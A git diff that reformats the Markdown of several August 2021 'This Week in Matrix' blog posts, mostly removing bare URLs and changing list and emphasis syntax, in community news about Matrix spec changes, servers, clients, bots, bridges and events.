Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -44,6 +44,7 @@ image = "https://matrix.org/blog/img/2021-08-13-s-1xM-ement-for-twim.png" > **Closed MSCs:** > > * [\[WIP\] MSC2359: E2EE VoIP Conferencing](https://github.com/matrix-org/matrix-doc/pull/2359) +> > #### Spec Updates > > Work on Spaces continues with [MSC2946](https://github.com/matrix-org/matrix-doc/pull/2946) (Space Summary API), specifically revolving around how to paginate the summary. This has called into question how [pagination across Matrix works in general](https://github.com/matrix-org/matrix-doc/issues/1898#issuecomment-896717689), which is a prime target for refactoring - perhaps an upcoming consistent pagination MSC? :) @@ -52,8 +53,6 @@ image = "https://matrix.org/blog/img/2021-08-13-s-1xM-ement-for-twim.png" > > And finally, a special thanks to Lukas Lihotzki for all of [their spec PRs](https://github.com/matrix-org/matrix-doc/pulls?q=is%3Apr+author%3Alukaslihotzki+sort%3Aupdated-desc+) this week. They're been stellar! - - ![2021-08-13-MVPF_-stacked_area_chart.png](/blog/img/2021-08-13-MVPF_-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -64,7 +63,7 @@ Synapse is a popular homeserver written in Python. [callahad](https://matrix.to/#/@callahad:matrix.org) reported: -> Big news! [Synapse 1.40 is out](https://matrix.org/blog/2021/08/10/synapse-1-40-0-released) and it comes with support for [Room Version 8](https://github.com/matrix-org/matrix-doc/pull/3289)! Version 8 includes "[restricted rooms](https://github.com/matrix-org/matrix-doc/pull/3083)" which are only visible and joinable by members of a specific Space (or via direct invitation). This finally makes it *useful* to use Spaces as containers for private rooms, like you might with a company, guild, or open source community. Once invited to the parent Space, members can join and discover the otherwise private rooms within. No more `/invite` spam every time you bring someone on board! +> Big news! [Synapse 1.40 is out](https://matrix.org/blog/2021/08/10/synapse-1-40-0-released) and it comes with support for [Room Version 8](https://github.com/matrix-org/matrix-doc/pull/3289)! Version 8 includes "[restricted rooms](https://github.com/matrix-org/matrix-doc/pull/3083)" which are only visible and joinable by members of a specific Space (or via direct invitation). This finally makes it _useful_ to use Spaces as containers for private rooms, like you might with a company, guild, or open source community. Once invited to the parent Space, members can join and discover the otherwise private rooms within. No more `/invite` spam every time you bring someone on board! > > Also: If you've received any push notifications in Element Android or Element iOS this week, they've come via our [shiny new stateless release of Sygnal](https://github.com/matrix-org/sygnal/releases/tag/v0.10.0)! If you _haven't_ received expected push notifications on those platforms this week... please alert us immediately. 😉 > @@ -116,14 +115,12 @@ Synapse is a popular homeserver written in Python. > * Fixed login issue related to non-compliant localpart. (Thanks to phildenhoff) > * Fixed invalid password issue. (Thanks to Troplo) > -> You can find more about Cinny at https://cinny.in +> You can find more about Cinny at > > Join our channel at: [#cinny:matrix.org](https://matrix.to/#/#cinny:matrix.org) -> Github: https://github.com/ajbura/cinny +> Github: > -> Twitter: https://twitter.com/@cinnyapp - - +> Twitter: ![2021-08-13-9eps4-reply_preview_in_butter_theme.png](/blog/img/2021-08-13-9eps4-reply_preview_in_butter_theme.png) @@ -133,26 +130,26 @@ Synapse is a popular homeserver written in Python. > [Ement.el](https://github.com/alphapapa/ement.el), a Matrix client for Emacs, continues to improve. Some of the changes in the past week: > -> *Additions* +> _Additions_ > -> + Messages may now be written in Org-mode syntax (a format similar to but more powerful than Markdown). Internally, it's automatically converted to HTML and sent as the message's formatted body. This supports nearly any HTML feature that Org-mode can export to, including rich text, bulleted and numbered lists, and even tables (this message is being written directly in Org syntax; see a table of new bindings at the end of this list). -> + An optional pop-out compose buffer makes writing and editing long messages easier (also being used for this message). +> * Messages may now be written in Org-mode syntax (a format similar to but more powerful than Markdown). Internally, it's automatically converted to HTML and sent as the message's formatted body. This supports nearly any HTML feature that Org-mode can export to, including rich text, bulleted and numbered lists, and even tables (this message is being written directly in Org syntax; see a table of new bindings at the end of this list). +> * An optional pop-out compose buffer makes writing and editing long messages easier (also being used for this message). > -> + Read/fully-read marker lines are now displayed after the last read message, and these are synced with the server and other clients. These lines can also be placed with a command, making it easy to return to a certain event later, even on other clients. -> + Usernames at the beginning of messages may optionally be colored to match the addressee's username. This especially helps following conversations in busy rooms. +> * Read/fully-read marker lines are now displayed after the last read message, and these are synced with the server and other clients. These lines can also be placed with a command, making it easy to return to a certain event later, even on other clients. +> * Usernames at the beginning of messages may optionally be colored to match the addressee's username. This especially helps following conversations in busy rooms. > -> + Ement.el is confirmed to work with Pantalaimon, the E2EE-aware reverse proxy, making encrypted rooms work transparently. Once Pantalaimon is installed and configured, connecting through it with Ement.el is trivial, and this step is documented in the readme. +> * Ement.el is confirmed to work with Pantalaimon, the E2EE-aware reverse proxy, making encrypted rooms work transparently. Once Pantalaimon is installed and configured, connecting through it with Ement.el is trivial, and this step is documented in the readme. > -> *Improvements* +> _Improvements_ > -> + Per-user displayname and message colors have improved (and configurable) contrast ratio with the background color. -> + Reactions are sorted by the number of users who have sent each one. +> * Per-user displayname and message colors have improved (and configurable) contrast ratio with the background color. +> * Reactions are sorted by the number of users who have sent each one. > -> + Unread rooms are displayed more prominently in the room list. -> + New default bindings make it quick to jump to the mentions and notifications buffers. +> * Unread rooms are displayed more prominently in the room list. +> * New default bindings make it quick to jump to the mentions and notifications buffers. > -> + Sync timeouts are handled more gracefully and Ement.el re-syncs automatically. -> + Various minor fixes and enhancements. +> * Sync timeouts are handled more gracefully and Ement.el re-syncs automatically. +> * Various minor fixes and enhancements. > > And here's the new-bindings table, written directly in Org syntax and sent automatically as HTML: > @@ -183,6 +180,7 @@ Synapse is a popular homeserver written in Python. With updates from the teams! + **Delight team** * The tool for migrating communities to spaces in Element Web has been completed @@ -191,20 +189,18 @@ With updates from the teams! * Pagination of the spaces summary now works for local rooms, we're continuing work on fetching data over federation. * On iOS, we’re working on exploring rooms and browsing users in a space + **Web** - - -* v1.8.0-rc1 is available on https://staging.element.io/ +* v1.8.0-rc1 is available on * Work on threads continues - we are narrowing down on a first prototype based on treating chained replies as threads * We’ve spiked support for [Sentry](https://sentry.matrix.org/sentry/riot-web/) which will give us more insights into how the app is working in the wild * Support for hot module reloading for React components, following last week’s work on CSS hot reloading * Improved the look and feel of image blur hashing by adding some animations + **iOS** - - * The release candidate [1.5.1](https://github.com/vector-im/element-ios/releases) is available for testing on TestFlight. Voice messages are enabled by default * [Towncrier](https://github.com/matrix-org/matrix-ios-sdk/blob/develop/CONTRIBUTING.md#changelog) is now enabled on all of our 3 repositories * Reaction count got a fix. Please rageshake if you see unexpected count @@ -212,10 +208,9 @@ With updates from the teams! * Element alpha is almost finished. This is a new app that we will use for internal testing. There will be a QR code on every PR like this [one](https://github.com/vector-im/element-ios/pull/4635) to install the build on a device. This device must be part of our ad-hoc device list * On the performance side, the incremental sync has been improved and merged on develop. Next is lazy loading room messages + **Android** - - * We made 2 releases this week: [1.1.16](https://github.com/vector-im/element-android/releases/tag/v1.1.16) to fix a regression that prevented sending messages in e2ee rooms and [1.2.0](https://github.com/vector-im/element-android/releases/tag/v1.2.0) with voice messages enabled by default * Voice messages have been improved before the release * We continued to update the call UI with call tiles in the timeline @@ -236,9 +231,9 @@ With updates from the teams! > * Display names are shown for direct messages. > * Messages sent by the same user in succession are grouped > -> Join us in [#sailtrix:matrix.org](https://matrix.to/#/#sailtrix:matrix.org) . GitLab: https://gitlab.com/HengYeDev/harbour-sailtrix +> Join us in [#sailtrix:matrix.org](https://matrix.to/#/#sailtrix:matrix.org) . GitLab: > -> Download at OpenRepos: https://openrepos.net/content/hengyedev/sailtrix +> Download at OpenRepos: ### Nheko @@ -248,7 +243,7 @@ With updates from the teams! > You now get notified, if someone reuses a megolm session index, because that in theory could be used by an attacker to send seemingly verified messages. We also now render decryption errors more nicely and users can now explicitly request decryption keys (in addition to the automatic key requests in the background that already existed). We also fixed an issue, that could corrupt the database when using the flatpak and if you lost your network connection, Nheko should now reconnect faster instead of potentially waiting 17 minutes for a TCP timeout. The storage for cross-signing secrets should now be more reliable, you can close image popups with the "Escape" key, close the current room by double clicking it and a few more miscellaneous bugfixes. > -> You can track the remaining E2EE bits, before we declare our E2EE support as stable, in this comment now: https://github.com/Nheko-Reborn/nheko/issues/23#issuecomment-894689158 +> You can track the remaining E2EE bits, before we declare our E2EE support as stable, in this comment now: ## Dept of Bots 🤖 @@ -258,14 +253,12 @@ With updates from the teams! > I released Hebbot v2.0 (the matrix bot which generates the thisweek.gnome.org blog posts) > -> https://github.com/haecker-felix/hebbot/releases/tag/v2.0 +> > > It has learned how to handle images / videos, and can now insert them directly into the rendered markdown. Creating new posts has been significantly simplified and now makes even less work for the author. For example, Hebbot now automatically generates a command to quickly download all images/videos at once. > > Maybe other communities are interested in creating a "This Week in X" blog as well👀? - - ![2021-08-13-NQPFN-ima_f906312.jpeg](/blog/img/2021-08-13-NQPFN-ima_f906312.jpeg) ### Maubot-Pocket @@ -276,12 +269,10 @@ With updates from the teams! > > Randomization to the rescue! I made a Pocket plugin for Maubot which gives me a random article from my list and allows me to easily archive it. Now I don't need to decide which article to pick, the computer does that for me! > -> Source code and info: https://github.com/jaywink/maubot-pocket +> Source code and info: > > Ps. Maubot is truly awesome as a bot system, well documented and easy to develop on 😻 - - ![2021-08-13-1Tte3-maubot-pocket.gif](/blog/img/2021-08-13-1Tte3-maubot-pocket.gif) ## Dept of Events and Talks 🗣️ @@ -290,7 +281,7 @@ With updates from the teams! [carl](https://matrix.to/#/@carl:bordum.dk) reported: -> [Bornhack](https://bornhack.dk/bornhack-2021/) is a 7 day outdoor tent camp where hackers, makers and people with an interest in technology or security come together to celebrate technology, socialise, learn and have fun. +> [Bornhack](https://bornhack.dk/bornhack-2021/) is a 7 day outdoor tent camp where hackers, makers and people with an interest in technology or security come together to celebrate technology, socialise, learn and have fun. > > This year, Asbjørn and I are hosting a couple of events related to Matrix: > @@ -313,7 +304,7 @@ With updates from the teams! > > --- > -> This week's room is: [#gamedev:matrix.org](https://matrix.to/#/#gamedev:matrix.org) +> This week's room is: [#gamedev:matrix.org](https://matrix.to/#/#gamedev:matrix.org) > > **"game development"** > @@ -326,6 +317,7 @@ With updates from the teams! Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -342,6 +334,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|casavant.org|2617| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/08/2021-08-20-this-week-in-matrix-2021-08-20.md b/content/blog/2021/08/2021-08-20-this-week-in-matrix-2021-08-20.md index ff4421e1e..f5f6f2e9e 100644 --- a/content/blog/2021/08/2021-08-20-this-week-in-matrix-2021-08-20.md +++ b/content/blog/2021/08/2021-08-20-this-week-in-matrix-2021-08-20.md @@ -16,7 +16,6 @@ image = "https://matrix.org/blog/img/2021-08-20-ml.png" {{ youtube_player(video_id="mIdBiqlBkhU") }} - Half-Shot's bridge notes this week - GSOC! abbyck/Abhinav's email bridge @@ -31,32 +30,34 @@ Half-Shot's bridge notes this week [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) reported: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > > **New MSCs:** > -> * [\[WIP\] MSC3348: Server-Server Room based extensible communication](https://github.com/matrix-org/matrix-doc/pull/3348) +> - [\[WIP\] MSC3348: Server-Server Room based extensible communication](https://github.com/matrix-org/matrix-doc/pull/3348) > > **MSCs with proposed Final Comment Period:** > -> * _No MSCs entered proposed FCP state this week._ +> - _No MSCs entered proposed FCP state this week._ > > **MSCs in Final Comment Period:** > -> * _No MSCs are in FCP._ +> - _No MSCs are in FCP._ > > **Merged MSCs:** > -> * _No MSCs were merged this week._ +> - _No MSCs were merged this week._ +> > #### Spec Updates > > Don't be mistaken by the rather empty list above, there were many PRs to the contents of the spec flying around this week! These include some [further](https://github.com/matrix-org/matrix-doc/pull/3336) [contributions](https://github.com/matrix-org/matrix-doc/pull/3343) from lukaslihotzki, [some](https://github.com/matrix-org/matrix-doc/pull/3339) [clarifications](https://github.com/matrix-org/matrix-doc/pull/3340) from dkasak and some [spec](https://github.com/matrix-org/matrix-doc/pull/3350) [contributions](https://github.com/matrix-org/matrix-doc/pull/3353) and [tooling](https://github.com/matrix-org/matrix-doc/pull/3349) [documentation](https://github.com/matrix-org/matrix-doc/pull/3351) additions from richvdh. Also a [clarification](https://github.com/matrix-org/matrix-doc/pull/3337) from uhoreg. > > Thank you to everyone for your PRs! > -> Otherwise, there has been a small amount of activity across the spectrum of MSCs this week. One MSC to call out is https://github.com/matrix-org/matrix-doc/pull/3283, which could do with some more input from the wider community. +> Otherwise, there has been a small amount of activity across the spectrum of MSCs this week. One MSC to call out is , which could do with some more input from the wider community. +> > #### Random MSC of the week > > And finally, something fun. I've written [a small script](https://github.com/anoadragon453/pick-a-spec) to pick a random MSC that people may or may not want to have a look at. @@ -67,8 +68,6 @@ Half-Shot's bridge notes this week > > Have a look if you haven't already, or take another look again if you have 😀 - - ![2021-08-20-yaCbk-stacked_area_chart.png](/blog/img/2021-08-20-yaCbk-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -83,9 +82,9 @@ Half-Shot's bridge notes this week > > Sytest compliance currently sits at: > -> * Client-server APIs: 65%, up from 61% last time +> - Client-server APIs: 65%, up from 61% last time > -> * Server-server APIs: 92%, same as last time +> - Server-server APIs: 92%, same as last time Those sytest numbers!! Might be time to start playing with dendrite? @@ -109,16 +108,16 @@ Those sytest numbers!! Might be time to start playing with dendrite? ## Dept of Bridges 🌉 -### Heisenbridge roundup! +### Heisenbridge roundup [hifi](https://matrix.to/#/@hifi:vi.fi) said: > [Heisenbridge](https://github.com/hifi/heisenbridge/) is a bouncer-style Matrix IRC bridge. > -> * Automatic queries (DM rooms) from IRC users can now be disabled and a query opened manually if needed (messages appear in network rooms) +> - Automatic queries (DM rooms) from IRC users can now be disabled and a query opened manually if needed (messages appear in network rooms) > -> * Plumbs can now be set to not do disambiguation or ZWSP injection -> * Small cleanups and fixes +> - Plumbs can now be set to not do disambiguation or ZWSP injection +> - Small cleanups and fixes > > Heisenbridge is now considered stable and v1.0.0 has been released! 🍻 🥳 > @@ -126,25 +125,21 @@ Those sytest numbers!! Might be time to start playing with dendrite? > > Thanks! - - ### matrix-appservice-irc [tadzik](https://matrix.to/#/@tadzik:tadzik.net) said: > This week brought the release of [0.30.0](https://github.com/matrix-org/matrix-appservice-irc/releases/tag/0.30.0), which includes > -> * Better formatting of long messages and code blocks – thanks 14mRh4X0r! +> - Better formatting of long messages and code blocks – thanks 14mRh4X0r! > -> * Quality of life improvements to admin room command handling -> * Numerous documentation improvements +> - Quality of life improvements to admin room command handling +> - Numerous documentation improvements > -> * And more! +> - And more! > > More goodies coming Soon[tm], so watch this space :) - - ### matrix-appservice-bridge 3.0.0 is now in RC [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) told us: @@ -161,7 +156,7 @@ Those sytest numbers!! Might be time to start playing with dendrite? [Alexandre Franke](https://matrix.to/#/@afranke:matrix.org) reported: -> Fractal updates [three weeks in a row](https://matrix.org/blog/2021/08/13/this-week-in-matrix-2021-08-13#fractal)? 😱 +> Fractal updates [three weeks in a row](https://matrix.org/blog/2021/08/13/this-week-in-matrix-2021-08-13#fractal)? 😱 > > Kai was on fire this week 🔥 with 5 (❗️) new merge requests that all landed! The highlights are that [rooms are now sorted by activity](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/810) and [room members now have a `power-level` property](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/811). The other ones ([!815](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/815), [!816](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/816), [!817](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/817)) are maintenance and code quality related. > @@ -177,22 +172,20 @@ Those sytest numbers!! Might be time to start playing with dendrite? > > New features: > -> * Notification functionality +> - Notification functionality > -> * `matrix:` URI scheme support -> * Tab based layout +> - `matrix:` URI scheme support +> - Tab based layout > -> * Sorting rooms by activity -> * Fixed a bug where editing in encrypted rooms did not appear correctly +> - Sorting rooms by activity +> - Fixed a bug where editing in encrypted rooms did not appear correctly > -> * Avatars and display names are displayed for direct message rooms. +> - Avatars and display names are displayed for direct message rooms. > -> Matrix: [#sailtrix:matrix.org](https://matrix.to/#/#sailtrix:matrix.org) +> Matrix: [#sailtrix:matrix.org](https://matrix.to/#/#sailtrix:matrix.org) > -> OpenRepos: https://openrepos.net/content/hengyedev/sailtrix -> GitLab: https://gitlab.com/HengYeDev/harbour-sailtrix - - +> OpenRepos: +> GitLab: ![2021-08-20-PieIo-screenshot-1.png](/blog/img/2021-08-20-PieIo-screenshot-1.png) @@ -202,9 +195,7 @@ Those sytest numbers!! Might be time to start playing with dendrite? > This week Janet improved receiving files in NeoChat. Now downloading a file can be stopped, a file type icon is displayed and it looks better! Other than that Felipe Kinoshita made some small visual improvements to the day separator in the timeline and Tobias continued working on E2EE inside Quotient. > -> Tomorrow Tobias and I will be doing a small presentation/demo of NeoChat at frOSCon in German. It's online so you don't have any excuse to not watch it: https://programm.froscon.de/2021/events/2711.html - - +> Tomorrow Tobias and I will be doing a small presentation/demo of NeoChat at frOSCon in German. It's online so you don't have any excuse to not watch it: ![2021-08-20-in7Dg-image.png](/blog/img/2021-08-20-in7Dg-image.png) @@ -214,67 +205,61 @@ Those sytest numbers!! Might be time to start playing with dendrite? [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev) told us: -> * Nheko now shows you the verification status of all devices in a room as well as in the memberlist. This is important so you can tell, if an unverified device may get access to a message, if you send it. You can always disable sending messages to unverified devices for extra peace of mind. +> - Nheko now shows you the verification status of all devices in a room as well as in the memberlist. This is important so you can tell, if an unverified device may get access to a message, if you send it. You can always disable sending messages to unverified devices for extra peace of mind. > -> * callum's work on [Token Authenticated Registration](https://github.com/matrix-org/matrix-doc/pull/3231) got merged! 🎉 -> * manu's room directory (finally) got merged. This means you can now discover public rooms on your server and join them by clicking the room directory button, that Nheko had for 3 years but was disabled until now! Support for the room directories of other servers as well as filtering by network should come in the future. +> - callum's work on [Token Authenticated Registration](https://github.com/matrix-org/matrix-doc/pull/3231) got merged! 🎉 +> - manu's room directory (finally) got merged. This means you can now discover public rooms on your server and join them by clicking the room directory button, that Nheko had for 3 years but was disabled until now! Support for the room directories of other servers as well as filtering by network should come in the future. > -> * There is now an "Allow them in" button on pending knocks in the timeline, joins via room membership in a different room now tell you, what user's server was used to sign off on the join and you can set a room to restricted or knock only. (You currently can't change the list of allowed servers though). -> * Dialogs should now have a close button again on Windows, the emoji search field now clears on closing the emoji picker and we added a workaround for stickers not showing on Element iOS, because iOS can't display stickers without a thumbnail, even if a thumbnail makes no sense for stickers. (We just copy the sticker url into the thumbnail url.) +> - There is now an "Allow them in" button on pending knocks in the timeline, joins via room membership in a different room now tell you, what user's server was used to sign off on the join and you can set a room to restricted or knock only. (You currently can't change the list of allowed servers though). +> - Dialogs should now have a close button again on Windows, the emoji search field now clears on closing the emoji picker and we added a workaround for stickers not showing on Element iOS, because iOS can't display stickers without a thumbnail, even if a thumbnail makes no sense for stickers. (We just copy the sticker url into the thumbnail url.) > -> * Nheko can now download encryption keys from online key backup. Uploading to online key backup will come soon(tm). -> * If you are interested, I will talk about Nheko tomorrow (21.08. starting 16:10) at FrOSCon in the Matrix dev room. Make sure you check out the other talks too, if you speak German! https://programm.froscon.de/2021/events/2706.html +> - Nheko can now download encryption keys from online key backup. Uploading to online key backup will come soon(tm). +> - If you are interested, I will talk about Nheko tomorrow (21.08. starting 16:10) at FrOSCon in the Matrix dev room. Make sure you check out the other talks too, if you speak German! > > Phew, that was a mouthful. - - ![2021-08-20-A0aW4-clipboard.png](/blog/img/2021-08-20-A0aW4-clipboard.png) ### Element Clients Updates from the teams + **Delight team** +- This week, our web, iOS and Android engineers are all enjoying some time off. +- On backend, we’ve completed pagination of the Spaces Summary. This week, we’ve been looking at performance improvements to the Summary API. +- We intend to mark room Version 8 as the preferred version for [MSC3083 restricted rooms](https://github.com/matrix-org/matrix-doc/pull/3083) on matrix.org and in Synapse 1.41 (due for release next week) via [MSC3244](https://github.com/matrix-org/matrix-doc/pull/3244). Once this change is made, Element clients will show UI to create restricted rooms within a Space, and prompt users to upgrade rooms if necessary when making them restricted. +- Our design team is exploring some tweaks on how to make Spaces a little bit clearer and easier to understand. - -* This week, our web, iOS and Android engineers are all enjoying some time off. -* On backend, we’ve completed pagination of the Spaces Summary. This week, we’ve been looking at performance improvements to the Summary API. -* We intend to mark room Version 8 as the preferred version for [MSC3083 restricted rooms](https://github.com/matrix-org/matrix-doc/pull/3083) on matrix.org and in Synapse 1.41 (due for release next week) via [MSC3244](https://github.com/matrix-org/matrix-doc/pull/3244). Once this change is made, Element clients will show UI to create restricted rooms within a Space, and prompt users to upgrade rooms if necessary when making them restricted. -* Our design team is exploring some tweaks on how to make Spaces a little bit clearer and easier to understand. - + **Web** +- We released 1.8.1 which fixed some regressions with calls - sorry for any failed calls! +- Work on our threads prototype continues. We’re hoping to have something to look at internally next week. +- [Sentry](https://sentry.matrix.org/sentry/riot-web/) submission support has been added to Rageshakes. We expect to enable this on next week. +- We’ve been fixing some bugs around cross-signing, Windows font rendering, and image blur hashing. +- Our new triage process has been published [on the wiki](https://github.com/vector-im/element-web/wiki#issue-triage). - -* We released 1.8.1 which fixed some regressions with calls - sorry for any failed calls! -* Work on our threads prototype continues. We’re hoping to have something to look at internally next week. -* [Sentry](https://sentry.matrix.org/sentry/riot-web/) submission support has been added to Rageshakes. We expect to enable this on https://app.element.io next week. -* We’ve been fixing some bugs around cross-signing, Windows font rendering, and image blur hashing. -* Our new triage process has been published [on the wiki](https://github.com/vector-im/element-web/wiki#issue-triage). - + **iOS** +- Element Alpha work is complete. This is a new app for internal testing. A QR code is available on every PR like this [one](https://github.com/vector-im/element-ios/pull/4635) to install the build on a device. Only devices registered in the Element Apple Developer account can install this app. +- Improved notification content: No more “Message” notification. +- Fixed some timeline layout issues. +- Media upload sizing: We added a prompt when sending video to select the resolution of the sent video. Media size prompt can be disabled in settings. +- URL preview work has started. +- App Navigation improvement: Working on room navigation to prepare the ground for threading. +- On the performance side, we are working on room messages lazy loading to improve application speed. - -* Element Alpha work is complete. This is a new app for internal testing. A QR code is available on every PR like this [one](https://github.com/vector-im/element-ios/pull/4635) to install the build on a device. Only devices registered in the Element Apple Developer account can install this app. -* Improved notification content: No more “Message” notification. -* Fixed some timeline layout issues. -* Media upload sizing: We added a prompt when sending video to select the resolution of the sent video. Media size prompt can be disabled in settings. -* URL preview work has started. -* App Navigation improvement: Working on room navigation to prepare the ground for threading. -* On the performance side, we are working on room messages lazy loading to improve application speed. - + **Android** - - -* Fix authenticated jitsi not working in release (proguard issue) -* Handle call ended reasons (busy, invite timeout). -* Working on Olm fallback key support -* Work on call ui and call tiles is finished, waiting to be reviewed -* Start working on extracting API client from the SDK +- Fix authenticated jitsi not working in release (proguard issue) +- Handle call ended reasons (busy, invite timeout). +- Working on Olm fallback key support +- Work on call ui and call tiles is finished, waiting to be reviewed +- Start working on extracting API client from the SDK ## Dept of SDKs and Frameworks 🧰 @@ -322,7 +307,7 @@ Updates from the teams ![2021-08-20-r2wxc-image.png](/blog/img/2021-08-20-r2wxc-image.png) -> Source at: https://github.com/MTRNord/maubot-audio-preventer +> Source at: > > This plugin is already running on my maubot at @mjolnir:nordgedanken.dev @@ -332,25 +317,25 @@ Updates from the teams > New version of Middleman, the helpful relay bot in the middle. Version 0.2.0 in addition to various smaller changes and fixes, enables sending out messages from the command room to any room the bot is in, supports relaying notices (so you can command other bots using the Middleman bot 🤖) and adds support for flagging certain rooms as "mention only", in which case only mentions are relayed. > -> Find Middleman here: https://github.com/elokapina/middleman +> Find Middleman here: ## Dept of Events and Talks 🗣️ -### Matrix-Dev Room @ FrOSCon (virtual) is already tomorrow! +### Matrix-Dev Room @ FrOSCon (virtual) is already tomorrow [Oleg](https://matrix.to/#/@oleg:fiksel.info) said: > This weekend we are organising a Matrix Dev-Room at the [FrOSCon](https://www.froscon.de/) with some quite interesting talks (in German 🇩🇪): > -> * [Community update, Spaces, Matrix in Germany (schools, health sector) and more](https://programm.froscon.de/2021/events/2707.html) +> - [Community update, Spaces, Matrix in Germany (schools, health sector) and more](https://programm.froscon.de/2021/events/2707.html) > -> * [How to deploy a Matrix server using Ansible](https://programm.froscon.de/2021/events/2708.html) -> * [Matrix as a part of open education platform](https://programm.froscon.de/2021/events/2709.html) +> - [How to deploy a Matrix server using Ansible](https://programm.froscon.de/2021/events/2708.html) +> - [Matrix as a part of open education platform](https://programm.froscon.de/2021/events/2709.html) > -> * Matrix Clients ([Neochat](https://programm.froscon.de/2021/events/2711.html), [Nheko](https://programm.froscon.de/2021/events/2706.html), [FluffyChat](https://programm.froscon.de/2021/events/2712.html)) -> * [Beyond chat - using Matrix for non-chat applications](https://programm.froscon.de/2021/events/2713.html) +> - Matrix Clients ([Neochat](https://programm.froscon.de/2021/events/2711.html), [Nheko](https://programm.froscon.de/2021/events/2706.html), [FluffyChat](https://programm.froscon.de/2021/events/2712.html)) +> - [Beyond chat - using Matrix for non-chat applications](https://programm.froscon.de/2021/events/2713.html) > -> * [Using (Opsdroid) bots in Matrix](https://programm.froscon.de/2021/events/2658.html) (with [NLU/AI](https://en.wikipedia.org/wiki/Natural-language_understanding)) +> - [Using (Opsdroid) bots in Matrix](https://programm.froscon.de/2021/events/2658.html) (with [NLU/AI](https://en.wikipedia.org/wiki/Natural-language_understanding)) > > Take a look at the [conference schedule](https://programm.froscon.de/2021) and join us at #FrOSCon:fiksel.info! > @@ -366,8 +351,6 @@ Updates from the teams > > There will be a little demo at the end of Matrix Live, so watch this space - - ![2021-08-20-RNy6w-image.png](/blog/img/2021-08-20-RNy6w-image.png) ### Server Stats @@ -388,19 +371,19 @@ Updates from the teams > > Circles features include: > -> * Social "wall"-like functionality and timeline of friends' posts for each of your social circles, e.g. Friends, Family, Neighbors, Coworkers, etc. +> - Social "wall"-like functionality and timeline of friends' posts for each of your social circles, e.g. Friends, Family, Neighbors, Coworkers, etc. > -> * Private groups -> * Encrypted photo galleries +> - Private groups +> - Encrypted photo galleries > > Recent updates to the Circles beta include: > -> * Support for use with any Matrix homeserver, including a new encrypted recovery and key backup mechanism that should be compatible with other Matrix clients like Element. (**Please note**: For use with standard Matrix accounts, be sure to select "Advanced options" at login and enter your passphrase for key backup / recovery.) +> - Support for use with any Matrix homeserver, including a new encrypted recovery and key backup mechanism that should be compatible with other Matrix clients like Element. (**Please note**: For use with standard Matrix accounts, be sure to select "Advanced options" at login and enter your passphrase for key backup / recovery.) > -> * Emoji reactions -> * Markdown formatting for text posts and image captions +> - Emoji reactions +> - Markdown formatting for text posts and image captions > -> * Better support for larger screens (iPad) +> - Better support for larger screens (iPad) > > The latest beta build of Circles (v0.91) is available from Apple on [TestFlight](https://testflight.apple.com/join/cWuDwqpG) @@ -430,9 +413,9 @@ Updates from the teams > > ---- > -> This week's room is: [#physics:matrix.org](https://matrix.to/#/#physics:matrix.org) +> This week's room is: [#physics:matrix.org](https://matrix.to/#/#physics:matrix.org) > -> **"Friendly Physics Related Discussion Talking Point: LIGO & Hawking's area theorem https://tinyurl.com/nzuaaepv Book Club 22nd August 15:00 BST | Bishop & Goldberg (manifolds) | Book Club Site: https://tinyurl.com/2sn9upx2 +stardust:matrix.org"** +> **"Friendly Physics Related Discussion Talking Point: LIGO & Hawking's area theorem Book Club 22nd August 15:00 BST | Bishop & Goldberg (manifolds) | Book Club Site: +stardust:matrix.org"** > > ---- > @@ -443,6 +426,7 @@ Updates from the teams Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -459,6 +443,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|sumnerevans.com|1137| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/08/2021-08-27-this-week-in-matrix-2021-08-27.md b/content/blog/2021/08/2021-08-27-this-week-in-matrix-2021-08-27.md index 0db768a9a..64b7fbcf2 100644 --- a/content/blog/2021/08/2021-08-27-this-week-in-matrix-2021-08-27.md +++ b/content/blog/2021/08/2021-08-27-this-week-in-matrix-2021-08-27.md @@ -26,7 +26,7 @@ These Hydrogen news leave me breathless! [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) told us: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change 